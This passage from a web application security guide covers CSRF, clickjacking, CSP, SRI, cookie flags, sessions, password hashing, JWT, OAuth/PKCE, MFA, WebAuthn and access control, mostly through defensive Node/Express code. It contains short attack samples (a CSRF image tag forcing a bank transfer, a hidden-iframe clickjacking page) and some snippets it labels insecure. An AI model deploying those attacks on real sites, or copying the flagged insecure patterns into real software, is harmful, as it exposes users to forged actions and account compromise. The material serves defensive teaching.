allowedSchemes: ['http', 'https', 'mailto']
});

Best Practices: โœ… Use: Framework's built-in escaping (React, Vue, Angular) โœ… Use: DOMPurify for HTML sanitization โœ… Use: Content Security Policy โœ… Use: HTTPOnly cookies for sensitive data โŒ Avoid: innerHTML with user input โŒ Avoid: eval() with untrusted data โŒ Avoid: document.write() โŒ Avoid: Disabling framework protections

Cross-Site Request Forgery (CSRF)โ€‹

What It Is: Forcing authenticated users to perform unwanted actions.

Attack Example:

<!-- Attacker's malicious website -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">

<!-- User is logged into bank.com, browser automatically sends cookies -->

Prevention Strategies:

1. CSRF Tokens (Synchronizer Token Pattern):

// Express middleware
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/submit', csrfProtection, (req, res) => {
// Token validated automatically
res.send('Success');
});
<!-- HTML form -->
<form method="POST" action="/submit">
<input type="hidden" name="_csrf" value="{{csrfToken}}">
<button type="submit">Submit</button>
</form>

2. SameSite Cookies:

// Set cookies with SameSite attribute
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict', // or 'lax'
maxAge: 3600000
});

SameSite Values:

  • Strict: Cookie sent only for same-site requests
  • Lax: Cookie sent for top-level navigation (default in modern browsers)
  • None: Cookie sent for all requests (requires Secure)

3. Double Submit Cookie:

// Set CSRF token in cookie AND require it in request
app.use((req, res, next) => {
const token = generateToken();
res.cookie('csrf-token', token, { sameSite: 'strict' });
req.csrfToken = token;
next();
});

// Validate token
app.post('/api/*', (req, res, next) => {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];

if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
});

4. Custom Request Headers:

// Frontend - Add custom header
fetch('/api/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest' // CSRF mitigation
},
credentials: 'include',
body: JSON.stringify(data)
});

// Backend - Verify header presence
app.post('/api/*', (req, res, next) => {
if (!req.headers['x-requested-with']) {
return res.status(403).json({ error: 'Missing required header' });
}
next();
});

Best Practices: โœ… Use: SameSite=Lax or Strict for session cookies โœ… Use: CSRF tokens for state-changing operations โœ… Use: Custom headers for API requests โœ… Use: GET for read-only operations โŒ Avoid: GET requests for state changes โŒ Avoid: Relying solely on cookies for authentication โŒ Avoid: CORS misconfiguration that allows credential sharing

Clickjackingโ€‹

What It Is: Tricking users into clicking on something different from what they perceive.

Attack Example:

<!-- Attacker's website -->
<iframe
src="https://bank.com/transfer"
style="opacity: 0; position: absolute; top: 0; left: 0;">
</iframe>

<button style="position: absolute; top: 100px; left: 100px;">
Click for free prize!
</button>

Prevention:

1. X-Frame-Options Header:

X-Frame-Options: DENY
# or
X-Frame-Options: SAMEORIGIN
// Express
app.use((req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
next();
});

// Helmet.js
const helmet = require('helmet');
app.use(helmet.frameguard({ action: 'deny' }));

2. Content-Security-Policy:

Content-Security-Policy: frame-ancestors 'none';
# or
Content-Security-Policy: frame-ancestors 'self' https://trusted.com;

3. JavaScript Frame-Busting (Legacy):

// Not recommended as primary defense
if (top !== self) {
top.location = self.location;
}

Best Practices: โœ… Use: CSP frame-ancestors (modern approach) โœ… Use: X-Frame-Options as fallback โœ… Use: Both headers for maximum compatibility โŒ Avoid: Relying only on JavaScript frame-busting โŒ Avoid: Allowing your site to be framed unnecessarily

Content Security Policy (CSP)โ€‹

What It Is: HTTP header that controls resources the browser is allowed to load.

Basic CSP:

Content-Security-Policy: default-src 'self'

Comprehensive CSP Example:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.example.com;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;

Directive Breakdown:

// Express implementation
app.use((req, res, next) => {
const nonce = generateNonce();
res.locals.nonce = nonce;

res.setHeader('Content-Security-Policy', `
default-src 'self';
script-src 'self' 'nonce-${nonce}';
style-src 'self' 'unsafe-inline';
img-src 'self' https: data:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`.replace(/\s+/g, ' ').trim());

next();
});

Using Nonces:

<!-- Server-side template -->
<script nonce="{{nonce}}">
// This will execute
console.log('Allowed script');
</script>

<script>
// This will be blocked (no nonce)
console.log('Blocked script');
</script>

CSP Reporting:

Content-Security-Policy-Report-Only:
default-src 'self';
report-uri /csp-violation-report;
// Collect CSP violations
app.post('/csp-violation-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
// Log to monitoring service
res.status(204).end();
});

Best Practices: โœ… Use: Start with Report-Only mode โœ… Use: Nonces for inline scripts โœ… Use: 'strict-dynamic' for modern browsers โœ… Use: upgrade-insecure-requests โŒ Avoid: 'unsafe-inline' and 'unsafe-eval' โŒ Avoid: Overly permissive policies โŒ Avoid: Wildcard sources (*)

Subresource Integrity (SRI)โ€‹

What It Is: Ensures that files fetched from CDNs haven't been tampered with.

Implementation:

<!-- With SRI -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>

<link
rel="stylesheet"
href="https://cdn.example.com/style.css"
integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u"
crossorigin="anonymous">

Generating SRI Hashes:

# Using openssl
curl -s https://cdn.example.com/library.js | openssl dgst -sha384 -binary | openssl base64 -A

# Using Node.js
const crypto = require('crypto');
const fs = require('fs');

const file = fs.readFileSync('library.js');
const hash = crypto.createHash('sha384').update(file).digest('base64');
console.log(`sha384-${hash}`);

Best Practices: โœ… Use: SRI for all third-party scripts and styles โœ… Use: SHA-384 or SHA-512 algorithms โœ… Use: crossorigin attribute with SRI โœ… Use: Multiple hashes for fallback โŒ Avoid: Using SRI without crossorigin โŒ Avoid: Weak hash algorithms (MD5, SHA-1)


Complete Cookie Example:

Set-Cookie: sessionId=abc123;
Secure;
HttpOnly;
SameSite=Strict;
Domain=example.com;
Path=/;
Max-Age=3600;
Expires=Wed, 21 Oct 2025 07:28:00 GMT

Flag Breakdown:

1. Secure

// โœ… HTTPS only - prevents MITM attacks
res.cookie('token', value, { secure: true });
  • Cookie sent only over HTTPS
  • Prevents interception on unsecured connections
  • Always use in production

2. HttpOnly

// โœ… No JavaScript access - prevents XSS cookie theft
res.cookie('sessionId', value, { httpOnly: true });
  • Cannot be accessed via document.cookie
  • Protects against XSS attacks
  • Use for authentication tokens

3. SameSite

// Strict - Maximum CSRF protection
res.cookie('auth', value, { sameSite: 'strict' });

// Lax - Balance of security and usability (default)
res.cookie('session', value, { sameSite: 'lax' });

// None - Required for cross-site cookies (needs Secure)
res.cookie('tracking', value, { sameSite: 'none', secure: true });

SameSite Comparison:

SameSite ValueCross-site GETCross-site POSTUse Case
StrictโŒโŒAuth cookies
Lax (default)โœ… (top-level)โŒSession cookies
Noneโœ…โœ…Third-party cookies

4. Domain & Path

// Scope cookie to specific domain/subdomain
res.cookie('data', value, {
domain: '.example.com', // Available to all subdomains
path: '/api' // Only sent to /api routes
});

5. Max-Age & Expires

// Session cookie (deleted when browser closes)
res.cookie('session', value);

// Persistent cookie with Max-Age (in seconds)
res.cookie('remember', value, { maxAge: 30 * 24 * 60 * 60 * 1000 }); // 30 days

// Persistent cookie with Expires
const expiryDate = new Date(Date.now() + 60 * 60 * 1000); // 1 hour
res.cookie('temp', value, { expires: expiryDate });

Authentication Cookie (Most Secure):

res.cookie('sessionId', sessionId, {
httpOnly: true, // Prevent XSS access
secure: true, // HTTPS only
sameSite: 'strict', // Strong CSRF protection
maxAge: 3600000, // 1 hour
signed: true // Cryptographic signature
});

Session Cookie Configuration:

const session = require('express-session');

app.use(session({
secret: process.env.SESSION_SECRET,
name: 'sid', // Don't use default name
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 1000 * 60 * 60 * 24 // 24 hours
},
store: new RedisStore({ client: redisClient }) // Use persistent store
}));

Cookie Prefixes:

// __Secure- prefix: Must be set with Secure flag
res.cookie('__Secure-sessionId', value, {
secure: true,
httpOnly: true,
sameSite: 'strict'
});

// __Host- prefix: More restrictive
res.cookie('__Host-sessionId', value, {
secure: true,
httpOnly: true,
sameSite: 'strict',
path: '/',
domain: undefined // Cannot set domain
});

Session Managementโ€‹

Best Practices:

1. Secure Session Generation:

const crypto = require('crypto');

function generateSessionId() {
return crypto.randomBytes(32).toString('hex');
}

// Store in secure backend (Redis recommended)
async function createSession(userId) {
const sessionId = generateSessionId();
const sessionData = {
userId,
createdAt: Date.now(),
expiresAt: Date.now() + 3600000, // 1 hour
ipAddress: req.ip,
userAgent: req.headers['user-agent']
};

await redisClient.setex(
`session:${sessionId}`,
3600, // TTL in seconds
JSON.stringify(sessionData)
);

return sessionId;
}

2. Session Validation:

async function validateSession(sessionId) {
const sessionData = await redisClient.get(`session:${sessionId}`);

if (!sessionData) {
return null; // Session expired or invalid
}

const session = JSON.parse(sessionData);

// Check expiration
if (Date.now() > session.expiresAt) {
await redisClient.del(`session:${sessionId}`);
return null;
}

// Additional checks
if (session.ipAddress !== req.ip) {
// Log suspicious activity
logger.warn('IP mismatch for session', { sessionId, userId: session.userId });
// Optional: invalidate session
}

return session;
}

3. Session Rotation:

// Rotate session ID after privilege escalation
async function rotateSession(oldSessionId) {
const oldSession = await redisClient.get(`session:${oldSessionId}`);

if (!oldSession) return null;

const newSessionId = generateSessionId();

// Copy session data to new ID
await redisClient.setex(
`session:${newSessionId}`,
3600,
oldSession
);

// Delete old session
await redisClient.del(`session:${oldSessionId}`);

return newSessionId;
}

// Use after login, password change, privilege escalation
app.post('/login', async (req, res) => {
const user = await authenticateUser(req.body);

if (user) {
const sessionId = await createSession(user.id);

res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000
});

res.json({ success: true });
}
});

4. Logout & Session Termination:

app.post('/logout', async (req, res) => {
const sessionId = req.cookies.sessionId;

if (sessionId) {
await redisClient.del(`session:${sessionId}`);
}

res.clearCookie('sessionId', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});

res.json({ success: true });
});

// Logout all devices
app.post('/logout-all', async (req, res) => {
const userId = req.user.id;

// Find all sessions for user
const keys = await redisClient.keys(`session:*`);

for (const key of keys) {
const session = await redisClient.get(key);
if (JSON.parse(session).userId === userId) {
await redisClient.del(key);
}
}

res.json({ success: true });
});

Best Practices: โœ… Use: Server-side session storage (Redis, database) โœ… Use: Secure session ID generation (crypto.randomBytes) โœ… Use: Session expiration and rotation โœ… Use: IP and User-Agent validation โŒ Avoid: Client-side session storage โŒ Avoid: Predictable session IDs โŒ Avoid: Long-lived sessions without renewal โŒ Avoid: Session fixation vulnerabilities


5. Authentication & Authorizationโ€‹

Authentication Methodsโ€‹

Comparison Table:

MethodBest ForProsCons
Session + CookieTraditional web appsServer control, easy revocationScalability, CSRF risk
JWTAPIs, SPAsStateless, portableCannot revoke easily, larger size
OAuth 2.0Third-party authDelegated auth, SSOComplex, token management
WebAuthnHigh securityPhishing-resistant, no passwordsBrowser support, UX learning curve

Password Securityโ€‹

Storage Best Practices:

const bcrypt = require('bcrypt');
const argon2 = require('argon2');

// โœ… SECURE - Bcrypt (industry standard)
async function hashPassword(password) {
const saltRounds = 12; // Higher = more secure but slower
return await bcrypt.hash(password, saltRounds);
}

async function verifyPassword(password, hash) {
return await bcrypt.compare(password, hash);
}

// โœ… EVEN BETTER - Argon2 (most modern)
async function hashPasswordArgon2(password) {
return await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 2 ** 16, // 64 MB
timeCost: 3,
parallelism: 1
});
}

async function verifyPasswordArgon2(password, hash) {
return await argon2.verify(hash, password);
}

// โŒ INSECURE - Never do this
function badHash(password) {
return crypto.createHash('md5').update(password).digest('hex');
}

Password Policy Implementation:

const passwordValidator = require('password-validator');

const schema = new passwordValidator();

schema
.is().min(12) // Minimum length 12
.is().max(128) // Maximum length 128
.has().uppercase() // Must have uppercase letters
.has().lowercase() // Must have lowercase letters
.has().digits(1) // Must have at least 1 digit
.has().symbols(1) // Must have at least 1 symbol
.has().not().spaces() // Should not have spaces
.is().not().oneOf(['Password123!', 'Admin123!']); // Blacklist common passwords

function validatePassword(password) {
const errors = schema.validate(password, { list: true });

if (errors.length > 0) {
throw new Error(`Password validation failed: ${errors.join(', ')}`);
}

return true;
}

// Check against leaked password database
const hibp = require('hibp');

async function checkPasswordBreach(password) {
const breachCount = await hibp.pwnedPassword(password);

if (breachCount > 0) {
throw new Error(`This password has been exposed in ${breachCount} data breaches`);
}

return true;
}

Account Security Measures:

// Rate limiting login attempts
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 attempts
message: 'Too many login attempts, please try again later',
standardHeaders: true,
legacyHeaders: false,
skipSuccessfulRequests: true
});

app.post('/login', loginLimiter, async (req, res) => {
// Login logic
});

// Account lockout after failed attempts
async function handleFailedLogin(userId) {
const key = `failed_attempts:${userId}`;
const attempts = await redisClient.incr(key);

if (attempts === 1) {
await redisClient.expire(key, 900); // 15 minutes
}

if (attempts >= 5) {
await lockAccount(userId, 1800); // Lock for 30 minutes
await notifyUser(userId, 'Account locked due to failed login attempts');
}

return attempts;
}

async function lockAccount(userId, duration) {
await redisClient.setex(`account_locked:${userId}`, duration, '1');
}

async function isAccountLocked(userId) {
return await redisClient.exists(`account_locked:${userId}`);
}

JSON Web Tokens (JWT)โ€‹

Structure:

Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Implementation:

const jwt = require('jsonwebtoken');

// Generate tokens
function generateTokens(user) {
const accessToken = jwt.sign(
{
userId: user.id,
email: user.email,
role: user.role
},
process.env.ACCESS_TOKEN_SECRET,
{
expiresIn: '15m',
issuer: 'api.example.com',
audience: 'example.com'
}
);

const refreshToken = jwt.sign(
{
userId: user.id,
tokenVersion: user.tokenVersion // For token revocation
},
process.env.REFRESH_TOKEN_SECRET,
{
expiresIn: '7d',
issuer: 'api.example.com',
audience: 'example.com'
}
);

return { accessToken, refreshToken };
}

// Verify JWT middleware
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1];

if (!token) {
return res.status(401).json({ error: 'No token provided' });
}

try {
const decoded = jwt.verify(token, process.env.ACCESS_TOKEN_SECRET, {
issuer: 'api.example.com',
audience: 'example.com'
});

req.user = decoded;
next();
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token expired' });
}
return res.status(403).json({ error: 'Invalid token' });
}
}

// Refresh token endpoint
app.post('/refresh', async (req, res) => {
const { refreshToken } = req.body;

if (!refreshToken) {
return res.status(401).json({ error: 'Refresh token required' });
}

try {
const decoded = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET);

// Check if user exists and token version matches
const user = await getUserById(decoded.userId);

if (!user || user.tokenVersion !== decoded.tokenVersion) {
return res.status(403).json({ error: 'Invalid refresh token' });
}

// Generate new access token
const accessToken = jwt.sign(
{ userId: user.id, email: user.email, role: user.role },
process.env.ACCESS_TOKEN_SECRET,
{ expiresIn: '15m' }
);

res.json({ accessToken });
} catch (err) {
return res.status(403).json({ error: 'Invalid refresh token' });
}
});

// Token revocation (by incrementing tokenVersion)
async function revokeAllTokens(userId) {
await db.query(
'UPDATE users SET token_version = token_version + 1 WHERE id = ?',
[userId]
);
}

JWT Storage Options:

1. HttpOnly Cookie (Most Secure for Web):

// Set JWT in HttpOnly cookie
res.cookie('accessToken', accessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000 // 15 minutes
});

// Frontend automatically sends cookie
fetch('/api/protected', {
credentials: 'include'
});

2. Authorization Header (Standard for APIs):

// Frontend stores in memory (React example)
const [token, setToken] = useState(null);

// Send with requests
fetch('/api/protected', {
headers: {
'Authorization': `Bearer ${token}`
}
});

JWT Security Best Practices: โœ… Use: Short-lived access tokens (15 minutes) โœ… Use: Refresh token rotation โœ… Use: Strong secret keys (256-bit minimum) โœ… Use: Algorithm verification (RS256 for production) โœ… Use: Token version for revocation โŒ Avoid: Storing sensitive data in payload โŒ Avoid: Long-lived tokens without refresh โŒ Avoid: localStorage for tokens (XSS risk) โŒ Avoid: Using 'none' algorithm

Common JWT Mistakes:

// โŒ DANGEROUS - No signature verification
const decoded = jwt.decode(token); // Never use decode without verify!

// โŒ DANGEROUS - Algorithm confusion attack
jwt.verify(token, publicKey); // Specify algorithm explicitly

// โœ… SAFE
jwt.verify(token, publicKey, { algorithms: ['RS256'] });

// โŒ DANGEROUS - Storing sensitive data
const token = jwt.sign({
userId: 123,
password: 'secret123' // Never store passwords in JWT!
}, secret);

// โœ… SAFE - Only non-sensitive identifiers
const token = jwt.sign({
userId: 123,
role: 'user'
}, secret);

OAuth 2.0 & OpenID Connectโ€‹

OAuth 2.0 Flow (Authorization Code):

1. User clicks "Login with Google"
2. Redirect to: https://accounts.google.com/o/oauth2/auth?
- client_id=YOUR_CLIENT_ID
- redirect_uri=https://yourapp.com/callback
- response_type=code
- scope=openid email profile
- state=random_string (CSRF protection)

3. User authorizes
4. Redirect back with code: https://yourapp.com/callback?code=AUTH_CODE&state=random_string
5. Exchange code for tokens
6. Use access token to fetch user data

Implementation with Passport.js:

const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;

passport.use(new GoogleStrategy({
clientID: process.env.GOOGLE_CLIENT_ID,
clientSecret: process.env.GOOGLE_CLIENT_SECRET,
callbackURL: '/auth/google/callback',
scope: ['profile', 'email']
},
async (accessToken, refreshToken, profile, done) => {
try {
// Find or create user
let user = await User.findOne({ googleId: profile.id });

if (!user) {
user = await User.create({
googleId: profile.id,
email: profile.emails[0].value,
name: profile.displayName,
avatar: profile.photos[0].value
});
}

return done(null, user);
} catch (err) {
return done(err, null);
}
}
));

// Routes
app.get('/auth/google',
passport.authenticate('google', { scope: ['profile', 'email'] })
);

app.get('/auth/google/callback',
passport.authenticate('google', { failureRedirect: '/login' }),
(req, res) => {
// Successful authentication
const sessionId = createSession(req.user.id);
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
res.redirect('/dashboard');
}
);

PKCE (Proof Key for Code Exchange) for SPAs:

// Generate code verifier and challenge
const crypto = require('crypto');

function generateCodeVerifier() {
return crypto.randomBytes(32).toString('base64url');
}

function generateCodeChallenge(verifier) {
return crypto
.createHash('sha256')
.update(verifier)
.digest('base64url');
}

// Step 1: Initiate OAuth flow
const codeVerifier = generateCodeVerifier();
const codeChallenge = generateCodeChallenge(codeVerifier);

// Store verifier in session/localStorage
sessionStorage.setItem('code_verifier', codeVerifier);

// Redirect to authorization server
const authUrl = `https://auth.example.com/authorize?` +
`client_id=${CLIENT_ID}` +
`&redirect_uri=${REDIRECT_URI}` +
`&response_type=code` +
`&code_challenge=${codeChallenge}` +
`&code_challenge_method=S256` +
`&scope=openid profile email`;

window.location.href = authUrl;

// Step 2: Exchange code for token
async function exchangeCodeForToken(code) {
const codeVerifier = sessionStorage.getItem('code_verifier');

const response = await fetch('https://auth.example.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code,
redirect_uri: REDIRECT_URI,
client_id: CLIENT_ID,
code_verifier: codeVerifier
})
});

const tokens = await response.json();
return tokens;
}

Multi-Factor Authentication (MFA)โ€‹

TOTP (Time-based One-Time Password) Implementation:

const speakeasy = require('speakeasy');
const QRCode = require('qrcode');

// Generate secret for user
async function setupMFA(userId, email) {
const secret = speakeasy.generateSecret({
name: `YourApp (${email})`,
issuer: 'YourApp'
});

// Save secret to database (encrypted)
await saveUserMFASecret(userId, secret.base32);

// Generate QR code
const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);

return {
secret: secret.base32,
qrCode: qrCodeUrl
};
}

// Verify TOTP token
function verifyMFAToken(secret, token) {
return speakeasy.totp.verify({
secret: secret,
encoding: 'base32',
token: token,
window: 2 // Allow 2 time steps before/after
});
}

// MFA login flow
app.post('/login', async (req, res) => {
const { email, password } = req.body;

const user = await authenticateUser(email, password);

if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}

// Check if MFA is enabled
if (user.mfaEnabled) {
// Create temporary token for MFA verification
const tempToken = jwt.sign(
{ userId: user.id, step: 'mfa_required' },
process.env.TEMP_TOKEN_SECRET,
{ expiresIn: '5m' }
);

return res.json({
requiresMFA: true,
tempToken: tempToken
});
}

// No MFA, complete login
const sessionId = await createSession(user.id);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });
});

app.post('/verify-mfa', async (req, res) => {
const { tempToken, mfaToken } = req.body;

try {
const decoded = jwt.verify(tempToken, process.env.TEMP_TOKEN_SECRET);

if (decoded.step !== 'mfa_required') {
return res.status(403).json({ error: 'Invalid token' });
}

const user = await getUserById(decoded.userId);
const isValid = verifyMFAToken(user.mfaSecret, mfaToken);

if (!isValid) {
return res.status(401).json({ error: 'Invalid MFA token' });
}

// MFA verified, complete login
const sessionId = await createSession(user.id);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });

} catch (err) {
return res.status(403).json({ error: 'Invalid token' });
}
});

// Backup codes
function generateBackupCodes(count = 10) {
const codes = [];
for (let i = 0; i < count; i++) {
codes.push(crypto.randomBytes(4).toString('hex').toUpperCase());
}
return codes;
}

async function saveBackupCodes(userId, codes) {
const hashedCodes = await Promise.all(
codes.map(code => bcrypt.hash(code, 10))
);
await db.query(
'INSERT INTO mfa_backup_codes (user_id, code_hash) VALUES ?',
[hashedCodes.map(hash => [userId, hash])]
);
}

WebAuthn & Passkeysโ€‹

Registration (Creating Passkey):

// Server-side: Generate challenge
const { generateRegistrationOptions, verifyRegistrationResponse } = require('@simplewebauthn/server');

app.post('/webauthn/register/start', async (req, res) => {
const user = req.user;

const options = generateRegistrationOptions({
rpName: 'YourApp',
rpID: 'example.com',
userID: user.id,
userName: user.email,
userDisplayName: user.name,
attestationType: 'none',
authenticatorSelection: {
authenticatorAttachment: 'platform', // 'platform' or 'cross-platform'
userVerification: 'required',
residentKey: 'required'
},
timeout: 60000
});

// Store challenge in session
req.session.challenge = options.challenge;

res.json(options);
});

// Client-side: Create credential
async function registerPasskey() {
const optionsResponse = await fetch('/webauthn/register/start', {
method: 'POST',
credentials: 'include'
});
const options = await optionsResponse.json();

// Browser API
const credential = await navigator.credentials.create({
publicKey: options
});

// Send credential to server
await fetch('/webauthn/register/finish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify(credential)
});
}

// Server-side: Verify and store credential
app.post('/webauthn/register/finish', async (req, res) => {
const user = req.user;
const credential = req.body;
const expectedChallenge = req.session.challenge;

try {
const verification = await verifyRegistrationResponse({
response: credential,
expectedChallenge: expectedChallenge,
expectedOrigin: 'https://example.com',
expectedRPID: 'example.com'
});

if (verification.verified) {
// Store credential in database
await db.query(
'INSERT INTO webauthn_credentials (user_id, credential_id, public_key, counter) VALUES (?, ?, ?, ?)',
[user.id, verification.registrationInfo.credentialID, verification.registrationInfo.credentialPublicKey, 0]
);

res.json({ success: true });
} else {
res.status(400).json({ error: 'Verification failed' });
}
} catch (err) {
res.status(400).json({ error: err.message });
}
});

Authentication (Using Passkey):

// Server-side: Generate authentication challenge
const { generateAuthenticationOptions, verifyAuthenticationResponse } = require('@simplewebauthn/server');

app.post('/webauthn/auth/start', async (req, res) => {
const { email } = req.body;

const user = await getUserByEmail(email);
if (!user) {
return res.status(404).json({ error: 'User not found' });
}

const userCredentials = await getUserCredentials(user.id);

const options = generateAuthenticationOptions({
rpID: 'example.com',
allowCredentials: userCredentials.map(cred => ({
id: cred.credentialId,
type: 'public-key',
transports: ['internal', 'hybrid']
})),
userVerification: 'required',
timeout: 60000
});

req.session.challenge = options.challenge;
req.session.userId = user.id;

res.json(options);
});

// Client-side: Get credential
async function authenticateWithPasskey(email) {
const optionsResponse = await fetch('/webauthn/auth/start', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify({ email })
});
const options = await optionsResponse.json();

const credential = await navigator.credentials.get({
publicKey: options
});

const response = await fetch('/webauthn/auth/finish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify(credential)
});

return response.json();
}

// Server-side: Verify authentication
app.post('/webauthn/auth/finish', async (req, res) => {
const credential = req.body;
const expectedChallenge = req.session.challenge;
const userId = req.session.userId;

const userCredential = await getCredentialById(credential.id);

if (!userCredential) {
return res.status(404).json({ error: 'Credential not found' });
}

try {
const verification = await verifyAuthenticationResponse({
response: credential,
expectedChallenge: expectedChallenge,
expectedOrigin: 'https://example.com',
expectedRPID: 'example.com',
authenticator: {
credentialID: userCredential.credentialId,
credentialPublicKey: userCredential.publicKey,
counter: userCredential.counter
}
});

if (verification.verified) {
// Update counter
await updateCredentialCounter(credential.id, verification.authenticationInfo.newCounter);

// Create session
const sessionId = await createSession(userId);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });
} else {
res.status(401).json({ error: 'Verification failed' });
}
} catch (err) {
res.status(401).json({ error: err.message });
}
});

Authorization Patternsโ€‹

Role-Based Access Control (RBAC):

// Define roles and permissions
const ROLES = {
ADMIN: 'admin',
MODERATOR: 'moderator',
USER: 'user',
GUEST: 'guest'
};

const PERMISSIONS = {
USER_CREATE: 'user:create',
USER_READ: 'user:read',
USER_UPDATE: 'user:update',
USER_DELETE: 'user:delete',
POST_CREATE: 'post:create',
POST_UPDATE_OWN: 'post:update:own',
POST_UPDATE_ANY: 'post:update:any',
POST_DELETE_ANY: 'post:delete:any'
};

const ROLE_PERMISSIONS = {
[ROLES.ADMIN]: Object.values(PERMISSIONS),
[ROLES.MODERATOR]: [
PERMISSIONS.USER_READ,
PERMISSIONS.POST_CREATE,
PERMISSIONS.POST_UPDATE_ANY,
PERMISSIONS.POST_DELETE_ANY
],
[ROLES.USER]: [
PERMISSIONS.USER_READ,
PERMISSIONS.POST_CREATE,
PERMISSIONS.POST_UPDATE_OWN
],
[ROLES.GUEST]: [
PERMISSIONS.USER_READ
]
};

// Middleware
function requirePermission(permission) {
return async (req, res, next) => {
const user = req.user;

if (!user) {
return res.status(401).json({ error: 'Unauthorized' });
}

const userPermissions = ROLE_PERMISSIONS[user.role] || [];

if (!userPermissions.includes(permission)) {
return res.status(403).json({ error: 'Forbidden: Insufficient permissions' });
}

next();
};
}

function requireRole(...roles) {
return (req, res, next) => {
if (!req.user || !roles.includes(req.user.role)) {
return res.status(403).json({ error: 'Forbidden: Insufficient role' });
}
next();
};
}

// Usage
app.post('/users',
authenticateToken,
requirePermission(PERMISSIONS.USER_CREATE),
createUser
);

app.delete('/posts/:id',
authenticateToken,
requirePermission(PERMISSIONS.POST_DELETE_ANY),
deletePost
);

app.put('/posts/:id',
authenticateToken,
async (req, res, next) => {
const post = await getPostById(req.params.id);

// Check ownership
if (post.authorId === req.user.id) {
return requirePermission(PERMISSIONS.POST_UPDATE_OWN)(req, res, next);
} else {
return requirePermission(PERMISSIONS.POST_UPDATE_ANY)(req, res, next);
}
},
updatePost
);

Attribute-Based Access Control (ABAC):

// Policy engine
class PolicyEngine {
constructor() {
this.policies = [];
}

addPolicy(policy) {
this.policies.push(policy);
}

evaluate(subject, action, resource, context = {}) {
for (const policy of this.policies) {
if (policy.matches(subject, action, resource, context)) {
return policy.effect === 'allow';
}
}
return false; // Deny by default
}
}

// Example policies
const policyEngine = new PolicyEngine();

policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return subject.role === 'admin'; // Admins can do anything
}
});

policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return action === 'read' && resource.visibility === 'public';
}
});

policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return action === 'update' &&
resource.authorId === subject.id &&
context.withinBusinessHours === true;
}
});

// Middleware
function requireAccess(action, getResource) {
return async (req, res, next) => {
const subject = req.user;
const resource = await getResource(req);
const context = {
withinBusinessHours: isBusinessHours(),
ipAddress: req.ip
};

if (!policyEngine.evaluate(subject, action, resource, context)) {
return res.status(403).json({ error: 'Access denied' });
}

next();
};
}

// Usage
app.put('/documents/:id',
authenticateToken,
requireAccess('update', async (req) => {
return await getDocumentById(req.params.id);
}),
updateDocument
);

6. Backend & API Securityโ€‹

Input Validationโ€‹

Validation Libraries:

// Using Zod
const { z } = require('zod');

const userSchema = z.object({
email: z.string().email().max(255),
password: z.string().min(12).max(128),
age: z.number().int().min(13).max(120),
username: z.string().regex(/^[a-zA-Z0-9_-]{3,20}$/),
website: z.string().url().optional(),
bio: z.string().max(500).optional()
});

app.post('/register', async (req, res) => {
try {
const validData = userSchema.parse(req.body);
